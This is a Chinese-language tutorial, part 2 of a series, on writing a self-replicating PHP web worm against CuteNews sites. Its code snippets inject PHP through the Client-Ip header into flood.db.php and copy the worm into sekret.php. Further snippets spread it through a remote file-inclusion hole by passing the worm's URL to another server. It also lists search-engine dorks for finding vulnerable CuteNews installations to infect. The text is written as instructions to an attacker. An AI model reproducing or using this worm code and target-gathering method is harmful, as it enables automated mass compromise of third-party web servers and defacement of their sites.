教你编写WEB蠕虫(2)
如果我们创建了这些请求,那么就可以通过Client-Ip将PHP代码写入到flood.db.php文件中,然后我们就可以通过一个正规的GET请求来执行代码了。既然可以将PHP代码执行的过程自动化,那么我们就可以开始着手准备去如何编写病毒代码,以实现其自我繁殖并植入payload的功能。下面的例子将复制整个蠕虫代码到漏洞服务器上的sekret.php文件中,以备运行。你可以在Client-Ip未端添加一些payload,通过运行sekret.php使其在news.txt顶端中添加一新标题,让每个存在漏洞的CuteNews站点都发表一新闻帖。
$source = str_replace("\$", "\\\$",str_replace("\"", "\\\"",str_replace("\\",
"\\\\",file_get_contents($_SERVER['PHP_SELF']))));
...
Client-Ip:
\"$source\");fclose(\$fp); ?>\r\n ...
...
for ($i=0;$i<2;$i++) { $bob = make_request($domain, $packet); }
make_request($domain, "GET $location/data/flood.db.php HTTP/1.1\r\nHost:
$domain\r\nConnection: close\r\n\r\n");
其它感染方式:PHP文件包含
关于将PHP文件包含漏洞的处理自动化的技术也并不是很难,通常我们粗劣写出来的PHP脚本都普遍含有这样一段代码,该代码存在远程PHP代码执行漏洞,我们可以将一小段PHP代码作为GET 变量'page'的值,然后通过URL进行传输。这样我们的通过URL来发送HTTP GET request 以使其在其它服务器上自行运行,蠕虫就可以在WEB的根目录下的一些地方进行自我复制了。
$fp = fopen("sekret.txt", "w");
fwrite($fp, file_get_contents($_SERVER['PHP_SELF']));
fclose($fp);
$url = $_SERVER['SCRIPT_URI'];
make_request($domain, "GET /test.php?path=$url HTTP/1.1\r\nHost:
$domain\r\nConnection: close\r\n\r\n");
其它感染方式:SQL
其它感染方式:JavaScript / XSS
===搜集目标===
在worm开发期间,最为明智的做法是将实际的利用代码与目标搜集代码相分离开来。你可以在自己的机器上或局域网内,使用类似下列的代码进行测试:
function gather_targets() {
return array("http://localhost/cutenews");
}
基于web蠕虫的意图,通过搜索引擎去寻找潜在的目标是很有必要的。你可以很容易地写出一些请求,并通过URLs让网站执行特定软件。这可以通过网页收集代码来产生一组包含可被worm感染的目标数组,以此实现其自动化。
$search = array("inurl:flood.db.php", "\"powered by cutenews v1.3\"",
"\"/cutenews/remote_headlines.php\"", "\"powered by CuteNews\" \"2003..2005
CutePHP\"", "inurl:\"/newsarchive.php?archive\"");
$query = $search[rand(0, count($search)-1)];
通过构造HTTP requests,你就可以从搜索引擎中获得搜索结果,然后从返回的网址中寻找合适的目标。